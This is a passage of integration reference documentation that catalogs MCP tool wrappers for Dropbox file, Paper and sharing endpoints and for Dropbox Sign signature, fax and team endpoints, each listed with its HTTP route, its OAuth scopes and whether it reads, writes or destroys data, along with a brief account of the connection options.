/2/files/create_folder_batch/check POST /api/v1/dropbox/2/files/create_folder_batch/check. Scopes: files.content.write. dropbox_post_2_files_create_folder_v2 (write) — Files create folder via POST /2/files/create_folder_v2 POST /api/v1/dropbox/2/files/create_folder_v2. Scopes: files.content.write. dropbox_post_2_files_delete (write, destructive) — Files delete via POST /2/files/delete POST /api/v1/dropbox/2/files/delete. Scopes: files.content.write. dropbox_post_2_files_delete_batch (write, destructive) — Files delete batch via POST /2/files/delete_batch POST /api/v1/dropbox/2/files/delete_batch. Scopes: files.content.write. dropbox_post_2_files_delete_batch_check (read) — Files delete batch check via POST /2/files/delete_batch/check POST /api/v1/dropbox/2/files/delete_batch/check. Scopes: files.content.write. dropbox_post_2_files_delete_v2 (write, destructive) — Files delete via POST /2/files/delete_v2 POST /api/v1/dropbox/2/files/delete_v2. Scopes: files.content.write. dropbox_post_2_files_download (read) — Files download via POST /2/files/download POST /api/v1/dropbox/2/files/download. Scopes: files.content.read. dropbox_post_2_files_download_zip (read) — Files download zip via POST /2/files/download_zip POST /api/v1/dropbox/2/files/download_zip. Scopes: files.content.read. dropbox_post_2_files_export (read) — Files export via POST /2/files/export POST /api/v1/dropbox/2/files/export. Scopes: files.content.read. dropbox_post_2_files_get_file_lock_batch (read) — Files get file lock batch via POST /2/files/get_file_lock_batch POST /api/v1/dropbox/2/files/get_file_lock_batch. Scopes: files.content.read. dropbox_post_2_files_get_metadata (read) — Files get metadata via POST /2/files/get_metadata POST /api/v1/dropbox/2/files/get_metadata. Scopes: files.metadata.read. dropbox_post_2_files_get_preview (read) — Files get preview via POST /2/files/get_preview POST /api/v1/dropbox/2/files/get_preview. Scopes: files.content.read. dropbox_post_2_files_get_temporary_link (read) — Files get temporary link via POST /2/files/get_temporary_link POST /api/v1/dropbox/2/files/get_temporary_link. Scopes: files.content.read. dropbox_post_2_files_get_temporary_upload_link (read) — Files get temporary upload link via POST /2/files/get_temporary_upload_link POST /api/v1/dropbox/2/files/get_temporary_upload_link. Scopes: files.content.write. dropbox_post_2_files_get_thumbnail (read) — Files get thumbnail via POST /2/files/get_thumbnail POST /api/v1/dropbox/2/files/get_thumbnail. Scopes: files.content.read. dropbox_post_2_files_get_thumbnail_batch (read) — Files get thumbnail batch via POST /2/files/get_thumbnail_batch POST /api/v1/dropbox/2/files/get_thumbnail_batch. Scopes: files.content.read. dropbox_post_2_files_get_thumbnail_v2 (read) — Files get thumbnail via POST /2/files/get_thumbnail_v2 POST /api/v1/dropbox/2/files/get_thumbnail_v2. Scopes: files.content.read. dropbox_post_2_files_list_folder (read) — Files list folder via POST /2/files/list_folder POST /api/v1/dropbox/2/files/list_folder. Scopes: files.metadata.read. dropbox_post_2_files_list_folder_continue (read) — Files list folder continue via POST /2/files/list_folder/continue POST /api/v1/dropbox/2/files/list_folder/continue. Scopes: files.metadata.read. dropbox_post_2_files_list_folder_get_latest_cursor (read) — Files list folder get latest cursor via POST /2/files/list_folder/get_latest_cursor POST /api/v1/dropbox/2/files/list_folder/get_latest_cursor. Scopes: files.metadata.read. dropbox_post_2_files_list_folder_longpoll (read) — Files list folder longpoll via POST /2/files/list_folder/longpoll POST /api/v1/dropbox/2/files/list_folder/longpoll. Scopes: files.metadata.read. dropbox_post_2_files_list_revisions (read) — Files list revisions via POST /2/files/list_revisions POST /api/v1/dropbox/2/files/list_revisions. Scopes: files.metadata.read. dropbox_post_2_files_lock_file_batch (write) — Files lock file batch via POST /2/files/lock_file_batch POST /api/v1/dropbox/2/files/lock_file_batch. Scopes: files.content.write. dropbox_post_2_files_move (write) — Files move via POST /2/files/move POST /api/v1/dropbox/2/files/move. Scopes: files.content.write. dropbox_post_2_files_move_batch (write) — Files move batch via POST /2/files/move_batch POST /api/v1/dropbox/2/files/move_batch. Scopes: files.content.write. dropbox_post_2_files_move_batch_check (read) — Files move batch check via POST /2/files/move_batch/check POST /api/v1/dropbox/2/files/move_batch/check. Scopes: files.content.write. dropbox_post_2_files_move_batch_check_v2 (read) — Files move batch check via POST /2/files/move_batch/check_v2 POST /api/v1/dropbox/2/files/move_batch/check_v2. Scopes: files.content.write. dropbox_post_2_files_move_batch_v2 (write) — Files move batch via POST /2/files/move_batch_v2 POST /api/v1/dropbox/2/files/move_batch_v2. Scopes: files.content.write. dropbox_post_2_files_move_v2 (write) — Files move via POST /2/files/move_v2 POST /api/v1/dropbox/2/files/move_v2. Scopes: files.content.write. dropbox_post_2_files_paper_create (write) — Files paper create via POST /2/files/paper/create POST /api/v1/dropbox/2/files/paper/create. Scopes: files.content.write. dropbox_post_2_files_paper_update (write) — Files paper update via POST /2/files/paper/update POST /api/v1/dropbox/2/files/paper/update. Scopes: files.content.write. dropbox_post_2_files_properties_add (write) — Files properties add via POST /2/files/properties/add POST /api/v1/dropbox/2/files/properties/add. Scopes: files.metadata.write. dropbox_post_2_files_properties_overwrite (write) — Files properties overwrite via POST /2/files/properties/overwrite POST /api/v1/dropbox/2/files/properties/overwrite. Scopes: files.metadata.write. dropbox_post_2_files_properties_update (write) — Files properties update via POST /2/files/properties/update POST /api/v1/dropbox/2/files/properties/update. Scopes: files.metadata.write. dropbox_post_2_files_restore (write) — Files restore via POST /2/files/restore POST /api/v1/dropbox/2/files/restore. Scopes: files.content.write. dropbox_post_2_files_save_url (write) — Files save url via POST /2/files/save_url POST /api/v1/dropbox/2/files/save_url. Scopes: files.content.write. dropbox_post_2_files_save_url_check_job_status (read) — Files save url check job status via POST /2/files/save_url/check_job_status POST /api/v1/dropbox/2/files/save_url/check_job_status. Scopes: files.content.write. dropbox_post_2_files_search (read) — Files search via POST /2/files/search POST /api/v1/dropbox/2/files/search. Scopes: files.metadata.read. dropbox_post_2_files_search_continue_v2 (read) — Files search continue via POST /2/files/search/continue_v2 POST /api/v1/dropbox/2/files/search/continue_v2. Scopes: files.metadata.read. dropbox_post_2_files_search_v2 (read) — Files search via POST /2/files/search_v2 POST /api/v1/dropbox/2/files/search_v2. Scopes: files.metadata.read. dropbox_post_2_files_tags_add (write) — Files tags add via POST /2/files/tags/add POST /api/v1/dropbox/2/files/tags/add. Scopes: files.metadata.write. dropbox_post_2_files_tags_get (read) — Files tags get via POST /2/files/tags/get POST /api/v1/dropbox/2/files/tags/get. Scopes: files.metadata.read. dropbox_post_2_files_tags_remove (write, destructive) — Files tags remove via POST /2/files/tags/remove POST /api/v1/dropbox/2/files/tags/remove. Scopes: files.metadata.write. dropbox_post_2_files_unlock_file_batch (write) — Files unlock file batch via POST /2/files/unlock_file_batch POST /api/v1/dropbox/2/files/unlock_file_batch. Scopes: files.content.write. dropbox_post_2_files_upload (write) — Files upload via POST /2/files/upload POST /api/v1/dropbox/2/files/upload. Scopes: files.content.write. dropbox_post_2_files_upload_session_append (write) — Files upload session append via POST /2/files/upload_session/append POST /api/v1/dropbox/2/files/upload_session/append. Scopes: files.content.write. dropbox_post_2_files_upload_session_append_batch (write) — Files upload session append batch via POST /2/files/upload_session/append_batch POST /api/v1/dropbox/2/files/upload_session/append_batch. Scopes: files.content.write. dropbox_post_2_files_upload_session_append_v2 (write) — Files upload session append via POST /2/files/upload_session/append_v2 POST /api/v1/dropbox/2/files/upload_session/append_v2. Scopes: files.content.write. dropbox_post_2_files_upload_session_finish (write) — Files upload session finish via POST /2/files/upload_session/finish POST /api/v1/dropbox/2/files/upload_session/finish. Scopes: files.content.write. dropbox_post_2_files_upload_session_finish_batch (write) — Files upload session finish batch via POST /2/files/upload_session/finish_batch POST /api/v1/dropbox/2/files/upload_session/finish_batch. Scopes: files.content.write. dropbox_post_2_files_upload_session_finish_batch_check (read) — Files upload session finish batch check via POST /2/files/upload_session/finish_batch/check POST /api/v1/dropbox/2/files/upload_session/finish_batch/check. Scopes: files.content.write. dropbox_post_2_files_upload_session_finish_batch_v2 (write) — Files upload session finish batch via POST /2/files/upload_session/finish_batch_v2 POST /api/v1/dropbox/2/files/upload_session/finish_batch_v2. Scopes: files.content.write. dropbox_post_2_files_upload_session_start (write) — Files upload session start via POST /2/files/upload_session/start POST /api/v1/dropbox/2/files/upload_session/start. Scopes: files.content.write. dropbox_post_2_files_upload_session_start_batch (write) — Files upload session start batch via POST /2/files/upload_session/start_batch POST /api/v1/dropbox/2/files/upload_session/start_batch. Scopes: files.content.write. dropbox_post_2_paper_docs_archive (write) — Paper docs archive via POST /2/paper/docs/archive POST /api/v1/dropbox/2/paper/docs/archive. Scopes: files.content.write. dropbox_post_2_paper_docs_create (write) — Paper docs create via POST /2/paper/docs/create POST /api/v1/dropbox/2/paper/docs/create. Scopes: files.content.write. dropbox_post_2_paper_docs_download (read) — Paper docs download via POST /2/paper/docs/download POST /api/v1/dropbox/2/paper/docs/download. Scopes: files.content.read. dropbox_post_2_paper_docs_folder_users_list (read) — Paper docs folder users list via POST /2/paper/docs/folder_users/list POST /api/v1/dropbox/2/paper/docs/folder_users/list. Scopes: sharing.read. dropbox_post_2_paper_docs_folder_users_list_continue (read) — Paper docs folder users list continue via POST /2/paper/docs/folder_users/list/continue POST /api/v1/dropbox/2/paper/docs/folder_users/list/continue. Scopes: sharing.read. dropbox_post_2_paper_docs_get_folder_info (read) — Paper docs get folder info via POST /2/paper/docs/get_folder_info POST /api/v1/dropbox/2/paper/docs/get_folder_info. Scopes: sharing.read. dropbox_post_2_paper_docs_get_metadata (read) — Paper docs get metadata via POST /2/paper/docs/get_metadata POST /api/v1/dropbox/2/paper/docs/get_metadata. Scopes: files.metadata.read. dropbox_post_2_paper_docs_list (read) — Paper docs list via POST /2/paper/docs/list POST /api/v1/dropbox/2/paper/docs/list. Scopes: files.metadata.read. dropbox_post_2_paper_docs_list_continue (read) — Paper docs list continue via POST /2/paper/docs/list/continue POST /api/v1/dropbox/2/paper/docs/list/continue. Scopes: files.metadata.read. dropbox_post_2_paper_docs_sharing_policy_get (read) — Paper docs sharing policy get via POST /2/paper/docs/sharing_policy/get POST /api/v1/dropbox/2/paper/docs/sharing_policy/get. Scopes: sharing.read. dropbox_post_2_paper_docs_sharing_policy_set (write) — Paper docs sharing policy set via POST /2/paper/docs/sharing_policy/set POST /api/v1/dropbox/2/paper/docs/sharing_policy/set. Scopes: sharing.write. dropbox_post_2_paper_docs_update (write) — Paper docs update via POST /2/paper/docs/update POST /api/v1/dropbox/2/paper/docs/update. Scopes: files.content.write. dropbox_post_2_paper_docs_users_add (write) — Paper docs users add via POST /2/paper/docs/users/add POST /api/v1/dropbox/2/paper/docs/users/add. Scopes: sharing.write. dropbox_post_2_paper_docs_users_list (read) — Paper docs users list via POST /2/paper/docs/users/list POST /api/v1/dropbox/2/paper/docs/users/list. Scopes: sharing.read. dropbox_post_2_paper_docs_users_list_continue (read) — Paper docs users list continue via POST /2/paper/docs/users/list/continue POST /api/v1/dropbox/2/paper/docs/users/list/continue. Scopes: sharing.read. dropbox_post_2_paper_docs_users_remove (write, destructive) — Paper docs users remove via POST /2/paper/docs/users/remove POST /api/v1/dropbox/2/paper/docs/users/remove. Scopes: sharing.write. dropbox_post_2_paper_folders_create (write) — Paper folders create via POST /2/paper/folders/create POST /api/v1/dropbox/2/paper/folders/create. Scopes: files.content.write. dropbox_post_2_sharing_add_file_member (write) — Sharing add file member via POST /2/sharing/add_file_member POST /api/v1/dropbox/2/sharing/add_file_member. Scopes: sharing.write. dropbox_post_2_sharing_add_folder_member (write) — Sharing add folder member via POST /2/sharing/add_folder_member POST /api/v1/dropbox/2/sharing/add_folder_member. Scopes: sharing.write. dropbox_post_2_sharing_check_job_status (read) — Sharing check job status via POST /2/sharing/check_job_status POST /api/v1/dropbox/2/sharing/check_job_status. Scopes: sharing.write. dropbox_post_2_sharing_check_remove_member_job_status (read) — Sharing check remove member job status via POST /2/sharing/check_remove_member_job_status POST /api/v1/dropbox/2/sharing/check_remove_member_job_status. Scopes: sharing.write. dropbox_post_2_sharing_check_share_job_status (read) — Sharing check share job status via POST /2/sharing/check_share_job_status POST /api/v1/dropbox/2/sharing/check_share_job_status. Scopes: sharing.write. dropbox_post_2_sharing_create_shared_link (write) — Sharing create shared link via POST /2/sharing/create_shared_link POST /api/v1/dropbox/2/sharing/create_shared_link. Scopes: sharing.write. dropbox_post_2_sharing_create_shared_link_with_settings (write) — Sharing create shared link with settings via POST /2/sharing/create_shared_link_with_settings POST /api/v1/dropbox/2/sharing/create_shared_link_with_settings. Scopes: sharing.write. dropbox_post_2_sharing_get_file_metadata (read) — Sharing get file metadata via POST /2/sharing/get_file_metadata POST /api/v1/dropbox/2/sharing/get_file_metadata. Scopes: sharing.read. dropbox_post_2_sharing_get_file_metadata_batch (read) — Sharing get file metadata batch via POST /2/sharing/get_file_metadata/batch POST /api/v1/dropbox/2/sharing/get_file_metadata/batch. Scopes: sharing.read. dropbox_post_2_sharing_get_folder_metadata (read) — Sharing get folder metadata via POST /2/sharing/get_folder_metadata POST /api/v1/dropbox/2/sharing/get_folder_metadata. Scopes: sharing.read. dropbox_post_2_sharing_get_shared_link_file (read) — Sharing get shared link file via POST /2/sharing/get_shared_link_file POST /api/v1/dropbox/2/sharing/get_shared_link_file. Scopes: sharing.read. dropbox_post_2_sharing_get_shared_link_metadata (read) — Sharing get shared link metadata via POST /2/sharing/get_shared_link_metadata POST /api/v1/dropbox/2/sharing/get_shared_link_metadata. Scopes: sharing.read. dropbox_post_2_sharing_get_shared_links (read) — Sharing get shared links via POST /2/sharing/get_shared_links POST /api/v1/dropbox/2/sharing/get_shared_links. Scopes: sharing.read. dropbox_post_2_sharing_list_file_members (read) — Sharing list file members via POST /2/sharing/list_file_members POST /api/v1/dropbox/2/sharing/list_file_members. Scopes: sharing.read. dropbox_post_2_sharing_list_file_members_batch (read) — Sharing list file members batch via POST /2/sharing/list_file_members/batch POST /api/v1/dropbox/2/sharing/list_file_members/batch. Scopes: sharing.read. dropbox_post_2_sharing_list_file_members_continue (read) — Sharing list file members continue via POST /2/sharing/list_file_members/continue POST /api/v1/dropbox/2/sharing/list_file_members/continue. Scopes: sharing.read. dropbox_post_2_sharing_list_folder_members (read) — Sharing list folder members via POST /2/sharing/list_folder_members POST /api/v1/dropbox/2/sharing/list_folder_members. Scopes: sharing.read. dropbox_post_2_sharing_list_folder_members_continue (read) — Sharing list folder members continue via POST /2/sharing/list_folder_members/continue POST /api/v1/dropbox/2/sharing/list_folder_members/continue. Scopes: sharing.read. dropbox_post_2_sharing_list_folders (read) — Sharing list folders via POST /2/sharing/list_folders POST /api/v1/dropbox/2/sharing/list_folders. Scopes: sharing.read. dropbox_post_2_sharing_list_folders_continue (read) — Sharing list folders continue via POST /2/sharing/list_folders/continue POST /api/v1/dropbox/2/sharing/list_folders/continue. Scopes: sharing.read. dropbox_post_2_sharing_list_mountable_folders (read) — Sharing list mountable folders via POST /2/sharing/list_mountable_folders POST /api/v1/dropbox/2/sharing/list_mountable_folders. Scopes: sharing.read. dropbox_post_2_sharing_list_mountable_folders_continue (read) — Sharing list mountable folders continue via POST /2/sharing/list_mountable_folders/continue POST /api/v1/dropbox/2/sharing/list_mountable_folders/continue. Scopes: sharing.read. dropbox_post_2_sharing_list_received_files (read) — Sharing list received files via POST /2/sharing/list_received_files POST /api/v1/dropbox/2/sharing/list_received_files. Scopes: sharing.read. dropbox_post_2_sharing_list_received_files_continue (read) — Sharing list received files continue via POST /2/sharing/list_received_files/continue POST /api/v1/dropbox/2/sharing/list_received_files/continue. Scopes: sharing.read. dropbox_post_2_sharing_list_shared_links (read) — Sharing list shared links via POST /2/sharing/list_shared_links POST /api/v1/dropbox/2/sharing/list_shared_links. Scopes: sharing.read. dropbox_post_2_sharing_modify_shared_link_settings (write) — Sharing modify shared link settings via POST /2/sharing/modify_shared_link_settings POST /api/v1/dropbox/2/sharing/modify_shared_link_settings. Scopes: sharing.write. dropbox_post_2_sharing_mount_folder (write) — Sharing mount folder via POST /2/sharing/mount_folder POST /api/v1/dropbox/2/sharing/mount_folder. Scopes: sharing.write. dropbox_post_2_sharing_relinquish_file_membership (write, destructive) — Sharing relinquish file membership via POST /2/sharing/relinquish_file_membership POST /api/v1/dropbox/2/sharing/relinquish_file_membership. Scopes: sharing.write. dropbox_post_2_sharing_relinquish_folder_membership (write, destructive) — Sharing relinquish folder membership via POST /2/sharing/relinquish_folder_membership POST /api/v1/dropbox/2/sharing/relinquish_folder_membership. Scopes: sharing.write. dropbox_post_2_sharing_remove_file_member (write, destructive) — Sharing remove file member via POST /2/sharing/remove_file_member POST /api/v1/dropbox/2/sharing/remove_file_member. Scopes: sharing.write. dropbox_post_2_sharing_remove_file_member_2 (write, destructive) — Sharing remove file member 2 via POST /2/sharing/remove_file_member_2 POST /api/v1/dropbox/2/sharing/remove_file_member_2. Scopes: sharing.write. dropbox_post_2_sharing_remove_folder_member (write, destructive) — Sharing remove folder member via POST /2/sharing/remove_folder_member POST /api/v1/dropbox/2/sharing/remove_folder_member. Scopes: sharing.write. dropbox_post_2_sharing_revoke_shared_link (write, destructive) — Sharing revoke shared link via POST /2/sharing/revoke_shared_link POST /api/v1/dropbox/2/sharing/revoke_shared_link. Scopes: sharing.write. dropbox_post_2_sharing_set_access_inheritance (write) — Sharing set access inheritance via POST /2/sharing/set_access_inheritance POST /api/v1/dropbox/2/sharing/set_access_inheritance. Scopes: sharing.write. dropbox_post_2_sharing_share_folder (write) — Sharing share folder via POST /2/sharing/share_folder POST /api/v1/dropbox/2/sharing/share_folder. Scopes: sharing.write. dropbox_post_2_sharing_transfer_folder (write) — Sharing transfer folder via POST /2/sharing/transfer_folder POST /api/v1/dropbox/2/sharing/transfer_folder. Scopes: sharing.write. dropbox_post_2_sharing_unmount_folder (write, destructive) — Sharing unmount folder via POST /2/sharing/unmount_folder POST /api/v1/dropbox/2/sharing/unmount_folder. Scopes: sharing.write. dropbox_post_2_sharing_unshare_file (write, destructive) — Sharing unshare file via POST /2/sharing/unshare_file POST /api/v1/dropbox/2/sharing/unshare_file. Scopes: sharing.write. dropbox_post_2_sharing_unshare_folder (write, destructive) — Sharing unshare folder via POST /2/sharing/unshare_folder POST /api/v1/dropbox/2/sharing/unshare_folder. Scopes: sharing.write. dropbox_post_2_sharing_update_file_member (write) — Sharing update file member via POST /2/sharing/update_file_member POST /api/v1/dropbox/2/sharing/update_file_member. Scopes: sharing.write. dropbox_post_2_sharing_update_file_policy (write) — Sharing update file policy via POST /2/sharing/update_file_policy POST /api/v1/dropbox/2/sharing/update_file_policy. Scopes: sharing.write. dropbox_post_2_sharing_update_folder_member (write) — Sharing update folder member via POST /2/sharing/update_folder_member POST /api/v1/dropbox/2/sharing/update_folder_member. Scopes: sharing.write. dropbox_post_2_sharing_update_folder_policy (write) — Sharing update folder policy via POST /2/sharing/update_folder_policy POST /api/v1/dropbox/2/sharing/update_folder_policy. Scopes: sharing.write. dropbox_post_2_users_features_get_values (read) — Users features get values via POST /2/users/features/get_values POST /api/v1/dropbox/2/users/features/get_values. Scopes: account_info.read. dropbox_post_2_users_get_account (read) — Users get account via POST /2/users/get_account POST /api/v1/dropbox/2/users/get_account. Scopes: sharing.read. dropbox_post_2_users_get_account_batch (read) — Users get account batch via POST /2/users/get_account_batch POST /api/v1/dropbox/2/users/get_account_batch. Scopes: sharing.read. dropbox_post_2_users_get_current_account (read) — Users get current account via POST /2/users/get_current_account POST /api/v1/dropbox/2/users/get_current_account. Scopes: account_info.read. dropbox_post_2_users_get_space_usage (read) — Users get space usage via POST /2/users/get_space_usage POST /api/v1/dropbox/2/users/get_space_usage. Scopes: account_info.read. ================================================================================ ## Dropbox Sign URL: https://www.agenticfabriq.com/integrations/dropboxsign Section: Integrated Tools Dropbox Sign — 68 MCP tools Provider key: dropboxsign. Scopes: api. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. dropboxsign_delete_api_app_by_client_id (write, destructive) — Delete API App. Deletes an API App. Can only be invoked for apps you own. DELETE /v3/api_app/{client_id} DELETE /api/v1/dropboxsign/api_app/{client_id}. Scopes: api. dropboxsign_delete_fax_by_fax_id (write, destructive) — Delete Fax. Deletes the specified Fax from the system. DELETE /v3/fax/{fax_id} DELETE /api/v1/dropboxsign/fax/{fax_id}. Scopes: api. dropboxsign_delete_fax_line (write, destructive) — Delete Fax Line. Deletes the specified Fax Line from the subscription. DELETE /v3/fax_line DELETE /api/v1/dropboxsign/fax_line. Scopes: api. dropboxsign_delete_team_destroy (write, destructive) — Delete Team. Deletes your Team. Can only be invoked when you have a Team with only one member (yourself). DELETE /v3/team/destroy DELETE /api/v1/dropboxsign/team/destroy. Scopes: api. dropboxsign_get_account (read) — Get Account. Returns the properties and settings of your Account. GET /v3/account GET /api/v1/dropboxsign/account. Scopes: api. dropboxsign_get_api_app_by_client_id (read) — Get API App. Returns an object with information about an API App. GET /v3/api_app/{client_id} GET /api/v1/dropboxsign/api_app/{client_id}. Scopes: api. dropboxsign_get_api_app_list (read) — List API Apps. Returns a list of API Apps that are accessible by you. If you are on a team with an Admin or Developer role, this list will include apps owned by teammates. GET /v3/api_app/list GET /api/v1/dropboxsign/api_app/list. Scopes: api. dropboxsign_get_bulk_send_job_by_bulk_send_job_id (read) — Get Bulk Send Job. Returns the status of the BulkSendJob and its SignatureRequests specified by the bulk_send_job_id parameter. GET /v3/bulk_send_job/{bulk_send_job_id} GET /api/v1/dropboxsign/bulk_send_job/{bulk_send_job_id}. Scopes: api. dropboxsign_get_bulk_send_job_list (read) — List Bulk Send Jobs. Returns a list of BulkSendJob that you can access. GET /v3/bulk_send_job/list GET /api/v1/dropboxsign/bulk_send_job/list. Scopes: api. dropboxsign_get_embedded_sign_url_by_signature_id (read) — Get Embedded Sign URL. Retrieves an embedded object containing a signature url that can be opened in an iFrame. GET /v3/embedded/sign_url/{signature_id} GET /api/v1/dropboxsign/embedded/sign_url/{signature_id}. Scopes: api. dropboxsign_get_fax_by_fax_id (read) — Get Fax. Returns information about a Fax. GET /v3/fax/{fax_id} GET /api/v1/dropboxsign/fax/{fax_id}. Scopes: api. dropboxsign_get_fax_line (read) — Get Fax Line. Returns the properties and settings of a Fax Line. GET /v3/fax_line GET /api/v1/dropboxsign/fax_line. Scopes: api. dropboxsign_get_fax_line_area_codes (read) — Get Available Fax Line Area Codes. Returns a list of available area codes for a given state/province and city. GET /v3/fax_line/area_codes GET /api/v1/dropboxsign/fax_line/area_codes. Scopes: api. dropboxsign_get_fax_line_list (read) — List Fax Lines. Returns the properties and settings of multiple Fax Lines. GET /v3/fax_line/list GET /api/v1/dropboxsign/fax_line/list. Scopes: api. dropboxsign_get_fax_list (read) — Lists Faxes. Returns properties of multiple Faxes. GET /v3/fax/list GET /api/v1/dropboxsign/fax/list. Scopes: api. dropboxsign_get_signature_request_by_signature_request_id (read) — Get Signature Request. Returns the status of the SignatureRequest specified by the signature_request_id parameter. GET /v3/signature_request/{signature_request_id} GET /api/v1/dropboxsign/signature_request/{signature_request_id}. Scopes: api. dropboxsign_get_signature_request_files_as_data_uri_by_signature_request_id (read) — Download Files as Data Uri. Obtain a copy of the current documents specified by the signature_request_id parameter. GET /v3/signature_request/files_as_data_uri/{signature_request_id} GET /api/v1/dropboxsign/signature_request/files_as_data_uri/{signature_request_id}. Scopes: api. dropboxsign_get_signature_request_files_as_file_url_by_signature_request_id (read) — Download Files as File Url. Obtain a copy of the current documents specified by the signature_request_id parameter. Returns a JSON object with a url to the file (PDFs only). GET /v3/signature_request/files_as_file_url/{signature_request_id} GET /api/v1/dropboxsign/signature_request/files_as_file_url/{signature_request_id}. Scopes: api. dropboxsign_get_signature_request_list (read) — List Signature Requests. Returns a list of SignatureRequests that you can access. This includes SignatureRequests you have sent as well as received, but not ones that you have been CCed on. GET /v3/signature_request/list GET /api/v1/dropboxsign/signature_request/list. Scopes: api. dropboxsign_get_team (read) — Get Team. Returns information about your Team as well as a list of its members. If you do not belong to a Team, a 404 error with an error_name of 'not_found' will be returned. GET /v3/team GET /api/v1/dropboxsign/team. Scopes: api. dropboxsign_get_team_info (read) — Get Team Info. Provides information about a team. GET /v3/team/info GET /api/v1/dropboxsign/team/info. Scopes: api. dropboxsign_get_team_invites (read) — List Team Invites. Provides a list of team invites (and their roles). GET /v3/team/invites GET /api/v1/dropboxsign/team/invites. Scopes: api. dropboxsign_get_team_members_by_team_id (read) — List Team Members. Provides a paginated list of members (and their roles) that belong to a given team. GET /v3/team/members/{team_id} GET /api/v1/dropboxsign/team/members/{team_id}. Scopes: api. dropboxsign_get_team_sub_teams_by_team_id (read) — List Sub Teams. Provides a paginated list of sub teams that belong to a given team. GET /v3/team/sub_teams/{team_id} GET /api/v1/dropboxsign/team/sub_teams/{team_id}. Scopes: api. dropboxsign_get_template_by_template_id (read) — Get Template. Returns the Template specified by the template_id parameter. GET /v3/template/{template_id} GET /api/v1/dropboxsign/template/{template_id}. Scopes: api. dropboxsign_get_template_files_as_data_uri_by_template_id (read) — Get Template Files as Data Uri. Obtain a copy of the current documents specified by the template_id parameter. Returns a JSON object with a data_uri representing the base64 encoded file (PDFs only). GET /v3/template/files_as_data_uri/{template_id} GET /api/v1/dropboxsign/template/files_as_data_uri/{template_id}. Scopes: api. dropboxsign_get_template_files_as_file_url_by_template_id (read) — Get Template Files as File Url. Obtain a copy of the current documents specified by the template_id parameter. Returns a JSON object with a url to the file (PDFs only). GET /v3/template/files_as_file_url/{template_id} GET /api/v1/dropboxsign/template/files_as_file_url/{template_id}. Scopes: api. dropboxsign_get_template_list (read) — List Templates. Returns a list of the Templates that are accessible by you. Take a look at our search guide to learn more about querying templates. GET /v3/template/list GET /api/v1/dropboxsign/template/list. Scopes: api. dropboxsign_post_account_create (write) — Create Account. Creates a new Dropbox Sign Account that is associated with the specified email_address. POST /v3/account/create POST /api/v1/dropboxsign/account/create. Scopes: api. dropboxsign_post_account_verify (write) — Verify Account. Verifies whether an Dropbox Sign Account exists for the given email address. POST /v3/account/verify POST /api/v1/dropboxsign/account/verify. Scopes: api. dropboxsign_post_api_app (write) — Create API App. Creates a new API App. POST /v3/api_app POST /api/v1/dropboxsign/api_app. Scopes: api. dropboxsign_post_embedded_edit_url_by_template_id (write) — Get Embedded Template Edit URL. Retrieves an embedded object containing a template url that can be opened in an iFrame. POST /v3/embedded/edit_url/{template_id} POST /api/v1/dropboxsign/embedded/edit_url/{template_id}. Scopes: api. dropboxsign_post_fax_line_create (write) — Purchase Fax Line. Purchases a new Fax Line. POST /v3/fax_line/create POST /api/v1/dropboxsign/fax_line/create. Scopes: api. dropboxsign_post_fax_send (write) — Send Fax. Creates and sends a new Fax with the submitted file(s). POST /v3/fax/send POST /api/v1/dropboxsign/fax/send. Scopes: api. dropboxsign_post_report_create (write) — Create Report. Request the creation of one or more report(s). POST /v3/report/create POST /api/v1/dropboxsign/report/create. Scopes: api. dropboxsign_post_signature_request_bulk_create_embedded_with_template (write) — Embedded Bulk Send with Template. POST /v3/signature_request/bulk_create_embedded_with_template POST /api/v1/dropboxsign/signature_request/bulk_create_embedded_with_template. Scopes: api. dropboxsign_post_signature_request_bulk_send_with_template (write) — Bulk Send with Template. POST /v3/signature_request/bulk_send_with_template POST /api/v1/dropboxsign/signature_request/bulk_send_with_template. Scopes: api. dropboxsign_post_signature_request_cancel_by_signature_request_id (write) — Cancel Incomplete Signature Request. Cancels an incomplete signature request. This action is **not reversible**. The request will be canceled and signers will no longer be able to sign. POST /v3/signature_request/cancel/{signature_request_id} POST /api/v1/dropboxsign/signature_request/cancel/{signature_request_id}. Scopes: api. dropboxsign_post_signature_request_create_embedded (write) — Create Embedded Signature Request. Creates a new SignatureRequest with the submitted documents to be signed in an embedded iFrame. POST /v3/signature_request/create_embedded POST /api/v1/dropboxsign/signature_request/create_embedded. Scopes: api. dropboxsign_post_signature_request_create_embedded_with_template (write) — Create Embedded Signature Request with Template. Creates a new SignatureRequest based on the given Template(s) to be signed in an embedded iFrame. POST /v3/signature_request/create_embedded_with_template POST /api/v1/dropboxsign/signature_request/create_embedded_with_template. Scopes: api. dropboxsign_post_signature_request_release_hold_by_signature_request_id (write) — Release On-Hold Signature Request. Releases a held SignatureRequest that was claimed and prepared from an UnclaimedDraft. POST /v3/signature_request/release_hold/{signature_request_id} POST /api/v1/dropboxsign/signature_request/release_hold/{signature_request_id}. Scopes: api. dropboxsign_post_signature_request_remind_by_signature_request_id (write) — Send Request Reminder. Sends an email to the signer reminding them to sign the signature request. You cannot send a reminder within 1 hour of the last reminder that was sent. POST /v3/signature_request/remind/{signature_request_id} POST /api/v1/dropboxsign/signature_request/remind/{signature_request_id}. Scopes: api. dropboxsign_post_signature_request_remove_by_signature_request_id (write) — Remove Signature Request Access. Removes your access to a completed signature request. This action is **not reversible**. POST /v3/signature_request/remove/{signature_request_id} POST /api/v1/dropboxsign/signature_request/remove/{signature_request_id}. Scopes: api. dropboxsign_post_signature_request_send (write) — Send Signature Request. Creates and sends a new SignatureRequest with the submitted documents. POST /v3/signature_request/send POST /api/v1/dropboxsign/signature_request/send. Scopes: api. dropboxsign_post_signature_request_send_with_template (write) — Send with Template. Creates and sends a new SignatureRequest based off of the Template(s) specified with the template_ids parameter. POST /v3/signature_request/send_with_template POST /api/v1/dropboxsign/signature_request/send_with_template. Scopes: api. dropboxsign_post_signature_request_update_by_signature_request_id (write) — 